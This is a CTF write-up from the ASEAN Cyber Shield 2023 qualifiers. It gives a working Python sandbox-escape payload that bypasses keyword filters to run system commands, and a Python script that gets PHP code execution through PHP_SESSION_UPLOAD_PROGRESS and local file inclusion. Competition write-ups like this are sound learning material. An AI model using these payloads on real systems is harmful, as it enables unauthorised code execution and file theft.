Introduction
In the middle near the end of November 2023, I competed in the Asean Cyber Shield representing Malaysia in Jakarta, Indonesia. There were 2 students teams and 2 open teams from Malaysia. I teamed up with SuperTsumu, Ymir and Naavin (super strong guys ><) under the name Team Excelsior. The CTF was my first on-site physical international CTF and it was pretty tough for me as someone who is still new to CTFs in general. Overall it was a good experience playing in the quals, even though I didn’t solve much. To get into the finals, we need to be in top 5!
Misc
We are greeted with pyjail challenge and you are supposed to break out of it and get the flag.
Looking at a source code, it blocks most of the python system-calling libraries. Which… could actually be bypassed..
This will pass:
SYSTEM
This will not pass:
system
What we could do is to use lower()
to fool the filters since the filters will only check if it's on small case.
First, we could access the builtins, and then going through dict
and importing os
, calling system
.
By chaining these, we could easily run system commands on the server.
Example payload:
__builtins__.__dict__['__IMPORT__'.lower()]('OS'.lower()).__dict__['SYSTEM'.lower()]('your command here')
Next thing to do, is to make it run python3 to read our flag inside the system.
Which.. we still need to be informed of the filters. Since it's getting to the string
part, it's much easier to bypass.
We could do concatenation of text to call the filtered functions.
And making it base64
, just to make everything fully wrapped nicely and hopefully bypassing filters.. again.
Problem
But, there's a small problem. Everytime the binary is compiled, it will show the error Bad File Descriptor
To make this work, you have to write the output to stderr
using the command stderr.write()
in Python.
Final payload
__builtins__.__dict__['__IMPORT__'.lower()]('OS'.lower()).__dict__['SYSTEM'.lower()]('python3 -c "' +'i'+'mport base64; e'+'xec(base64.b64decode(b\'aW1wb3J0IG9zO2E9b3BlbigiL2hvbWUvY3RmX3VzZXIvZmxhZyIpLnJlYWRsaW5lcygpO2ltcG9ydCBzeXM7c3lzLnN0ZGVyci53cml0ZShzdHIoKmEpKQo=\'))' +'"')
##The base64 encoded code basically reads the flag file and outputs it to stderr
Flag: ACS{r00m_nam3_i4_sandbox__and__y0u_escap3_r00m_successfully!!!}
Web
We were given a simple website where we could send a number and do a LFI through include_once()
.
To solve this challenge, you have to inspect the phpinfo()
and look at any interesting configs that may open up.
We tried so many things, and we found an interesting thing called PHP_SESSION_UPLOAD_PROGRESS
Reference:
https://book.hacktricks.xyz/pentesting-web/file-inclusion/via-php_session_upload_progress
So basically, with this exploit, we are able to upload a file, and probably write something to the server and read it using the include_once
.
The exploit will save your session data and allows you to put PHP command injection inside.
We found that we could run PHP command injection inside our /tmp
.
Here is a script we made to make things easier.
import requests
url = 'http://192.168.0.45:20001/'
headers = {
'Cookie': 'PHPSESSID=bukan'
}
files = {
'file': ('passwd', open('/etc/passwd', 'rb')),
}
data = {
'num': '\n5',
'PHP_SESSION_UPLOAD_PROGRESS': '<?php echo system("cat /flag")?>',
}
response = requests.post(url, headers=headers, files=files, data=data)
print(response.text)
Now you need to visit the sess_bukan
inside tmp
folder and you will get flag inside.
Flag : ACS{h0n3y,_y0U_kN0w_1mp0rtaNt_php1nF0~}
Thanks for reading my writeup!